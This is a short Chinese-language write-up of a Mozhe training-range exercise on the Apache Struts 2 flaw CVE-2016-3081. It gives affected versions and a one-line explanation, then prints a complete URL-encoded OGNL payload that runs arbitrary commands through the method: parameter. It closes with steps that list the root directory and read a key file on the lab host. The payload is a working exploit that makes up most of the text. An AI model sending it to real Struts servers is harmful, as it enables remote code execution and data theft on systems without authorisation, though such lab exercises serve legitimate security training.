靶场地址:
https://www.mozhe.cn/bug/detail/NWZ1OHFUbDgxV3JNdDhMa0RHQ3BnZz09bW96aGUmozhe
漏洞编号:CVE-2016-3081
影响范围:Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
漏洞原理:当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式
<constant name="struts.enable.DynamicMethodInvocation" **value**="true" />
任意命令执行Exp:
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=[命令]
访问页面:http://219.153.49.228:42163/?method:[exp]执行命令
执行ls /命令
获得目录
执行cat /key.txt命令
获得key
网友评论